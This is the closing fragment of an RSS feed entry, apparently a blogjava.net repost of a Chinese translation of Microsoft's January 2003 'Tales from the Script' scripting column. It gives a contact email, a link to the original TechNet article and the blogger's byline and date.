		<p>以上便是我们本月呈献给您的全部篇幅。如果您需要提出任何问题或发表任何评论，敬请致电<a href="mailto:%20scripter@microsoft.com?Subject=Tales from the Script - January 2003"><font color="#002c99">mailto:%20scripter@microsoft.com?Subject=Tales from the Script - January 2003</font></a>。 <br /><br /><br />原文具体链接：<a href="http://www.microsoft.com/china/technet/columns/scripts/sg0103.asp">http://www.microsoft.com/china/technet/columns/scripts/sg0103.asp</a></p>
<img src ="http://www.blogjava.net/Jiangzy/aggbug/104847.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/Jiangzy/" target="_blank">飛雪(leo)</a> 2007-03-20 00:13 <a href="http://www.blogjava.net/Jiangzy/articles/104847.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>